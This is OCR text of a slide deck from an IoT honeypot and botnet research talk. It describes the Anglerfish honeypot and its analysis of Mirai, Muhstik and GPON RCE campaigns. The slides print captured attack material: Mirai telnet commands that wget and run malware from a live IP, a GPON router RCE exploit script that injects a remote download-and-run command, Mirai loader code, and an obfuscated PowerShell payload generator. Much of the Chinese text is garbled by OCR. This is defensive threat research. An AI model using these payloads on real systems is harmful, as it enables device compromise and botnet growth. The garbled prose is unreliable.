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GitHub/Twitter @zom3y3

Network Security Researcher at 360Netlab

TO BE A MALWARE HUNTER!

#Pentest #Botnet #Honeypot
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« ZIFTCP/UDPeimOiiE, E&tE itelnet,ssh httpFE30fpp BiMY, 50+IoTiRFBIIRS SR
A, SFFRIRN MY Fuzz testingZ,

« BEiTANnglerfishZERIAAZ=BotnetF7£360Netlab BlogHizE, ®fEMirai, http81,
Mykings, DDG, Hajime, TheMoon, loT reaper, Satori, Muhstik, HNSZ, Erhttp81,

loT reaper, Satorig FE/X&IN.

- fEIR210day, 2BlEHuawei HG532 RCE(#Satori Botnet& R#FIFE, CVE-2017-17215)F0
Gpon Home Routers RCE(#TheMoon BotnetEXFI|FH, B CVERS).
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SYN Scan

client

Port Closed

LASYNum 13961, =%

server

client server
W
R o
A——
Port Open

Rtz AT RN RO, REERIETZFRISYNE.
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client server client server
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ata (reqUest) TSt datd (red
client send data first server send data first
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TCP Connection
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Scanner (client)

socket
connect (blocks)

(active open) SYN_SENT SYNJ

ESTABLISHED

write
read(blocks)

Interactive Data -—-—z’;

Flow
read returns

d

GyN K, ACK I+

ACK K+1

[

——lequesy
data (reply)
ACK O“: request

ACK of reply
FIN_WAIT 1 FIN M ‘
ACK M+1
FIN_WAIT 2/ NN
A
TIME WAIT "

Honeypot (server)

socket, bind, listen
LISTEN (passive open)
accept (blocks)

SYN RCVD

ESTABLISHED

N

read returns

write

. Simulat
read(blocks) mutator

_

BT ARIEM TIERUZ Y

CLOSE_WAIT

LAST ACK

CLOSED
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 Blackhole2Github ERI—1NFRINE, FERNRESRETIL, FEHER FFsigitfiF A
. EERMNYFLREERES, IREX T Kippo, DionaeaZiFEINBELRL, FWkEEIIERIRFEIMYE
- {FFPythoniBSFFA, ETF Geventi&EilServerimiz Bty

REFERENCE

[1] https://github.com/dudeintheshell/blackhole
[2] https://github.com/DinoTools/dionaea

[3] https://github.com/fabio-d/honeypot

[4] https://github.com/desaster/kippo
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instance02

instance03

instance04

Cloud API
ﬁiata S
Reporter
Eﬂb};\
@, o
S a
tcp:5000 E
o | | =D | tep:22 .., | 35D sample wl | e
N telnet payloads |~ > £tp
e | | | e top28  ,[httR | N |url tftp
: ‘l?’V netis . nc
s e tcp:80 payload ip
R 7= I (N I [ttt e IoT ﬁ/ hfs sample |base64
b tep:80, udp:500 . vulns : L
: = : udp:53413
:. 8canner : : UG ﬁ ............. p .................. > 3 :;gex
1 =RR53
- . Downloader
........................ ~ Conntrack Simulator download malware samples
choose socket handler 50+ Vulns, 20+ Protocols
Forwarder Analysiser

fedirect all the incomings to tcp/udp 5000

analysis payloads, scanners and samples

sCHIANnglerfishZE#EE B ERE,

| AnglerfishZtEERFEE D N6 NMMEIERFE: Forwarder, Coontarck, Simulator, Analysiser,
| Downloader, Reporter, BII=RFZ IS,




HeiELE RN RN
ftp, ssh, telnet, smtp, http, pop3, imap, https, intel amt, java rmi, mssql, docker, oreintdb,
mysql, ethman, cisco smi, ethereum, redis, weblogic, jenkins, activemq web, mctp, apache

couchdb, spark, openfire, elastic search, memcache, mongodb, hadoop hdfs, hadoop yarn,

netisZs;
BRI E AR RS R TES) B RCERAE S Botnet ZIRSHIREE!

¢ Ce
Vacron NVR 2
1S/6.0 WebDAV P Elasticsearch = 98
ahua | Z - B
AvtechD2M2 PVR = = © 2 GNU Bash £ 8
ZyXEL Dasan Linksys 5 %)
8 TP-Link
w

|
Realtek SDK JCG

QNAP QTS NAS OpenDreamBox
vscode-ftp-sync

Zavio |IP Cameras



Docker shell

ZiEP L EBELinux Shellips, FXE]
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Docker shell (150) | &
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#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Github/Twitter: @zom3y3
# Email: zom3y3@gmail.com

import docker

def docker shell(command):
"'docker shell""
result = "
if command.strip() ==
return result
else:
# client = docker.DockerClient(base _url="unix://var/run/docker.sock’)
client = docker.from _env()
command = "/bin/sh -c '"" + command + """
try:
container = client.containers.run(
"busybox”, command, network disabled=ENABLE NETWORK, detach=True, auto remove=True, remove=True)
result = container.logs()
except Exceptlon as e:

EranfEiEiltel netZE HERT, éz.:.té.*telnetsrvllb + docker shell FiATLARIREMESCIN S 32 BtelnetZE i,

REFERENCE

[1] https://blog.findmalware.org/2017/03/30/the-telnet-honeypot-research-review-and-suggestions-for-application/
[2] https://github.com/zom3y3/telnetsrvlib

[3] https://github.com/docker/docker-py

return result
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iEidSlack APIGIZERSS Feed bot, SCHJ#EXexploit-db, securiteam, twitterELZ£EREMHNLZEERN,
Xita#loT, Botnet, RCE/RAFER.

y RSS Feed APP 409 PM
[RCE] ABB to Patch Code Execution Flaw in HMI Tool

http://feedproxy.google.com/~r/Securityweek/~3/mOpmPOwWboXE/abb-patch-code-execution-flaw-hmi -tool

A RSS Feed ~*F 5.00pPM

» [BOTNET] Router Crapfest: Malware Author Builds 18,000-Strong Botnet in a Day https:/www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong
botnet-in-a-day/ ... #botnet #router #securitypic.twitter.com/PjsuKmFxC7
https://twitter.com/campuscodi/stotus/1019908275696005120

A+ RSS Feed A°P 8:06 PM
[IOT] HomeMatic Zentrale CCU2 Unauthenticated #RCE using logout functionality: logout.cgi?sid=a");system.Exec("command”); Part of #eset #10T privacy #research:
https:/www.welivesecurity.com/wp-content/uploads/2018/02/ESET_MWC2018 _loT_SmartHome.pdf ...https:/www.exploit-db.com/exploits/45052
https://twitter, com/KacperSzurek/status/1019860113157492736

[RCE] GoftH3EET - gitea nfEap AT w1952 by @phithon_xg https:/www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html ...
https://twitter, com/_jsoo_/status/1019906063393419265

A RSS Feed ~#P 204 P
s [RCE] ABB to Patch Code Execution Flaw in HMI Tool - https:/www.securityweek.com/abb-patch-code-execution-flaw-hmi-tool ...
https://twitter.com/SecurityWeek/status/1019998538435559425

A+ RSS Feed AP 11:59 PM
x’ [RCE] Unpatched Remote Code Execution in Reprise License Manager https:/www.trustwave.com/Resources/SpiderLabs-Blog/Unpatched-Remote-Code-Execution-in-Reprise-License-
Manager/ ...pic.twitter.com/FHGHfEsisQ
https://twitter.com/campuscodi/status/1019960301762908161 jt:r%lj
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Fuzz testing (188)

o« IRMEREIROBITCP SYN Packet
o FRIEEMMAFAE, KimREIESILA (http, mysqgl, mssqgl, redis, memcacheZ)
 IR[EIFE X EETEYAYPayloadfFHIEESES

client server client server

W, PING M

data (reply) =
e
N, ACK ACK of rea”

PONG

always answer syn flag always reply true flag = /=== i -
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AnglerfishZ REHGRLEH ® %
root
admin
enable
shell
sh

/bin/busybox iDdosYou

/bin/busybox ps; /bin/busybox iDdosYou

/bin/busybox cat /proc/mounts; /bin/busybox iDdosYou

/bin/busybox echo -e "\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
/bin/busybox echo -e "\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon

/bin/busybox echo -e "\x6b\x61\x6d\x69/tmp' > /tmp/.nippon; /bin/busybox cat /tmp/.nippon; /bin/busybox rm /tmp/.nippon
/bin/busybox echo -e "\x6b\x61\x6d\x69/overlay' > /overlay/.nippon; /bin/busybox cat /overlay/.nippon; /bin/busybox rm /overlay/.nippon
/bin/busybox echo -e "\x6b\x61\x6d\x69" > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon

XE— TMiraifgixigAnglerfishZERNINGETE, HICBXEEHEIEENX HPayload, X IM=1E
IFRIR FIm 7 Asession id,

VAYALLY/ UUD)’UUI\ InoJuvusST1UuU

cd/

/bin/busybox cp /bin/echo ccAD; >ccAD; /bin/busybox chmod 777 ccAD; /bin/busybox iDdosYou

/bin/busybox cat /bin/echo

/bin/busybox iDdosYou

cat /proc/cpuinfo; /bin/busybox iDdosYou

/bin/busybox wget; /bin/busybox tftp; /bin/busybox iDdosYou

/bin/busybox wget http://172.81.134.239:80/AB4g5/Josho.arm -O - > ccAD; /bin/busybox chmod 777 ccAD; /bin/busybox iDdosYou
./ccAD selfrep.wget; /bin/busybox AndSmOkeDoinks

/bin/busybox wget; /bin/busybox tftp; /bin/busybox iDdosYou

/bin/busybox wget http://172.81.134.239:80/AB4g5/Josho.arm5 -O - > ccAD; /bin/busybox chmod 777 ccAD; /bin/busybox iDdosYou
./ccAD selfrep.wget; /bin/busybox AndSmOkeDoinks

rm -rf aupnpb; > ccAD; /bin/busybox iDdosYou
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EMiraiTF BN SRR 3N R R FEIEUEE S, o5l Esessions, downloads, payloads,
BN ERIEEERL UG DR .

O sessionsFEEICENEZIEZNEIEID, A8, WNETTHZE

0033536614a78c19935bce9ebec5c699 | 2018-07-04 21:31:16 | 172.81.134.239 33714 X.X.X.X 23 TCP

O downloadsTFEIEFEHEATEEE, SIF=1EID, HAURL, HAmd5%E

0033536614a78c19935bce9ebec5c699 | http://172.81.134.239:80/AB4g5/Josho.mips | 1a8...fb9 | f0..9f9 | ELF ...ped 1

Q payloadsEZicikpayload#iEER, SF=1AID, payload, payload_md5, payload_ssdeepZs

0033536614a78c19935bce9ebec5c699 | 5921cbc07469f380c69c6ebc70clbech BCJ3AQSc...AAA= 48:Xy/7r4F...kBsU)J
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> http/httpstim¥

> ftpty

> sftptN

> nctiy

» Llecho 16iH$I BRIRFSUY

> http FEETEIESEUser-Agent/QueryZE

> 1&g Shell/VBScript/JScriptERIAIES T EME FEURL




Payload$UERL/ 48/ IN= (5¢)

def generate(self):

encoded = helpers.deflate(self.psRaw())

payloadCode = "@echo off\n"

payloadCode += "if %PROCESSOR ARCHITECTURE%==x86 ("

payloadCode += "powershell.exe -NoP -Nonl -W Hidden -Exec Bypass -Command \"Invoke-
Expression $(New-Object 10.StreamReader ($(New-Object 10.Compression.DeflateStream ($(New-Object
|0.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))),
[I0.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCll)).ReadToEnd();\"" % (encoded)

payloadCode +=") else ("

payloadCode += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -
Nonl -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object |0.StreamReader ($(New-
Object 10.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\\\"%s\\\")))), [I0.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCIl)).ReadToEnd();\")" % (encoded)

return payloadCode

decompressed = zlib.decompress(base64.b64decode(payload), -15)
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count (%)

queue Queue

“data = "XwWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://206.189.157.219/w+-0+-
>+/tmp/w; sh+/tmp/w)&ipv=0\r\n"
headers "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding:

deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_da

ips = open(sys.argv([1l], "r").readlines()

AR EENRRAEREPEFSF IR EIVEIEPERE T ENFMAEH, KA MNMESE
EAFERE. BIEXMFE, FIFFuzz testingt IR LAFS B R R SiamiE R o N as
B,

s.connect((host, port))
s.send(headers)
time.sleep(0.5)
print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m-
\x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)

resp = s.recv(buf).strip()

o if 200 OK" in resp: e - e
'ERI § = 1 hE - b=
7 AR iy B oy | 3aijing- China

s.closel()
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-ase TELNET_DETECT_ARCH:
consumed = connection_consume_arch(conn);

if (consumed)

{

conn->timeout = 15;
if ((conn->bin = binary_get_by arch(conn->info.arch)) == NULL)

#ifdef DEBUG
printf(" [FD%d] Cannot determine architecture\n", conn->fd);

#endif

connection_close(conn);

e if (strcmp(conn->info.arch, "arm") == 0)

#ifdef DEBUG
printf("[FD%d] Determining ARM sub-type\n", conn->fd);

mirai loader{UiEET1EE echo binary3{4alelfE gk BirR Fcpuligzsd, Emirai
IBRAIER, (ERZEREERSAENL “/bin/busybox cat /bin/echo” X<, SEULFRBERERCH

EmiraitEa,

endif

util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; ' TOKEN_QUERY "\r\n");

conn->state_telnet = TELNET_UPLOAD_METHODS;

break;
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Muhstik BotnetiJfs{T RO &) | &

MAB14EFF44, 360NetlablsizZMuhstik Botnet&ERF MR HYRIRE Drupal RCEFIGpon
RCERFHITIZERIVERE. BIEXMNRESEYE, ENETHREXE (EBFMZ Muhstik IEFEFRRRF!
A Drupal ifildl CVE-2018-7600 $FHEIVEREY 1 (GPON JmiRAYEEFFIA (—) Muhstik 2
FM4&) KH#ZEE Muhstik Botnet,

#ZH8r1, E(1HRIMuhstik BotnetG 1 1#imiRMGNIERER, 755802 : Drupal, Gpon routers,
Weblogic, Wordpress, Webdav, DasanNetwork Solution, Webuzo, ClipBucket,
phpMyadmin, Jboss, DD-WRT,
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Muhstik Botneti 34594 &) | &

New Muhstik Bot

Drupal
Gpon
n "> Muhstik Bot | > phpMyadmin & 3
SSH Scan 2. vuln scan Wordpress & ibad Al
Miner Z\ '
DDoS .
aioscan
1. request/response scan task 3. report vuln device's information
L ¥4 N7 a
Task Server Reporter | > | Loader

4. get vuln device's information

ZERO TRUST SECURITY e

Internet Sec :

nce2018 ¢
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Muhstik Botnet&eiels, &) | &

BBBBBBBBB

Bt 5L XNETE, BAITLANZRZIMuhstik Botnetfd95#1E5. HPEEB—IEINEGponiiHss
AIBot 99%ERZ2KE T Mexico/MX, FHRBEROERREES8080, 1XZ2FK IMuhstik BotnetFlFAAIPoCH
BEEX MR ARNEGFFERUIE T/, RS Z 2 X K4 T Muhstik BotnetZnC2iRSBEs, (BES

Muhstik BotnetZ [BIBNIEF SRS B LR,
LA TEMuhstik Botnet 2455t

Gpon 24000+

Webdav 5000+

phpMyAdmin 4000+

Wordpress 3000+

Webuzo 70+
REFERENCE

[1] https://blog.netlab.360.com/botnet-muhstik-is- actlvely exploiting-drupal-cve-2018-7600- in-a-worm- style/
[2] httpsi//blog.netlab.360.com/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/ 22 :
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1 def build_response(server, message, mimetype, code='200 0K'):
2 """Build a response with the specified code and content."""
3 # Headers should all be ascii

httptMYNAAEET 2, FRIEEMMAF IR http serverEiE, R HEEIITENAYFHSEIRI4RIE] R
(F=EwebiERs,
iR DrupalZfERS, BJLAR#EDrupal BR4FIEEHTTP Header I ADrupal$siiE.  (HAMZEREHR—MZIT)

9 resp_list.append('Date: %s' % formatdate(usegmt=True))

10 resp_list.append('Server: %s' % server)

11 resp_list.append('Content-Type: %s; charset=UTF-8"' % mimetype)

17 resp_list.append('Content-Length: %s' % str(bytelen))

13 resp_list.append('Connection: close')

14

15 _list.append('X-Drupal-Cache: HIT')

16 resp_list.append('X-Drupal-Dynamic-Cache: MISS'")

17 esp_list.append('X-Generator: Drupal 8 Chttps://www.drupal.org)’
18 re esp




1E‘B%Gpon e~

2iaiahttp server E— P ANFERIRIFRIGRIRTE, ITEERIhttp server&iR[EIHTTP 404
IRZSHE, fEhttp servert¥A&EIIF, FIFFuzz testingfUizIG{ENttp 404TNEIZ E—LFE
N A AEEETRIEh ttpiE KIREIFEM AFIE, FFEIEKELHTTP 200K,

var VENDOR_DISPLAY_NAME = "NUUO";

var XOntName = 'GPON Home Gateway";
diag_ result
var cmdR - Array
var gHashCookle = new Hash.Cookie('WebClientCookie', {duration:30});
webenabled = no

windows--2017

b}

EEPEBGponZE#ERY, B404TEIRERRE] EiRGponFiE, FHEEweb serverfBilZE /9
GoAhead-Webs, (taMEREH—MHIT)



Gpon RCE PayloadZRZsm07T ®| @

EX$5 8228 Gpon RCE Payload##EFIAssdc &AL EE, BEIRITITES Groupfl
ssdeepPfraEotEL, FIAHighcharts&EpgDonut Chart,

Honeypot Payload Cluster Analysis

Source: Anglerfish Honeypot

6:hBCOMKZJCBMUELRB2DOexW2xNoOQBKMAORtyo TTrOLCMd 76d91xRe 1 HelVIVA:hBIpCTsRE2D0exWzxQQAob7PqCMd + HIf: 1.82%
6:hBCOMKZJCBMUELRBZDOexW2r5 1VdqOQBKMAORLyo TTrOLCMA 76d91IxRe 1 HelVIVA:hBIpCTsRB2 DOexW2NfIQQAL7PgCMd « A: 5.45%

6:hBC0/7QBg259)Pe32ZVIRJLTrOLCMd 76d9IxRhyzOPXwOov:hBOkWIB4TIpHQCMd « HixXYcev: 28.18%
6:hBCOMKZJCBMUELRB2DOexWzr5 1VIQSKMAORVTrOLCMd 76d9IxRe 1 HeIVEMM:hBIpCTsRE2DOexWaNItQQAORQCMd + HI/: 5.45%

6:hBCOMKZJCBMUELRB2DOexWzxNAVZQEKMAORWTrOLGMdA 76d9IxRe 1HeIVIMM:hB9pCTsRB2DOexWzhQQAoRGCMd + Hixke: 1.82% —

6:hBGO/ 7QBg259)Pe32ZVIR|LTrOLGMd 76 d9IxRVEZOPXwO0V-hBOKWIBAfIpHGCMd + Hixweey: 49.09%
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Gpon RCE PayloadEBz&31r (st

EXJGpon RCE Payload#i#iEEssf5, BEIIITEGroup, ssdeepflsessionfyk&z, FIAAD3.js&

fForce Directed Graph(ASMEE). D |
@ Muhstik Botnet
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Giroup 5
Gowp! ___ Satori Botnet
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TheMoon Botnet
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Gpon RCE PayloadBE35o T

BEZNAHGE:

QQQQQQQQQ

BId It FiEssdeepREAE R L MFEIEAIGroup/ssdeep, BB HHrpayload BT LA
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Trending TCP Ports

Source: Anglerfish Honeypot
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Botnet Scan Session-Srcip Correlation Coefficient
Source! Anglerfish Honeypot
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Payload_md5: 7b0ae0038cc4a8ba3cee0d459d9943f8
Analysis_date: 2018-07-08 ~ 2018-07-12
First_seen: 2018-07-09 06:11:12
Last_seen: 2018-07-12 02:36:21
Coefficient: 99.93119624056
Port: 5555
Count: 1310 Gadciidna. Ly
Protocol: TCP /
Payload _baseb4:
BCINGGhAWWAAAAAAAADYqeAAAPEXQOSYTEAAAAEAEAAABWAAADICAACSEsaexaG92zdDob6AEIQRUSWAWABAPOd]AAAAFOrAACWr7gxc2hibGwéPi?zZGNhemQvRG23bmxvYW
QVvZIAmJIBJZCAZAHY71D4vZGV2IQAADQDwWIDsgYnVzeWIveCB3Z2VOIGhOdHA6LY8 SNS4yMTUUNIuMTY SL2FkYnMgLUBgLT4gCwBDOyYBzaAkAgHJIIGFKYNMAAAAAAA ==
Src_ip:
223.81.192.11442.232.192.137,111.37.20.108,111.15.95.151,223.81.204.80,70.70.196.146,111.37.20.233,111.15.95.18,111.15.95.183,111.37.20.177,111.37.29.21,181.37.108.82,
181.37.212.209,172.58.139.216,223.81.207.59,27.70.180.72,172.58.102.181,172.58.184.47,171.251.30.77,111.15.95.242
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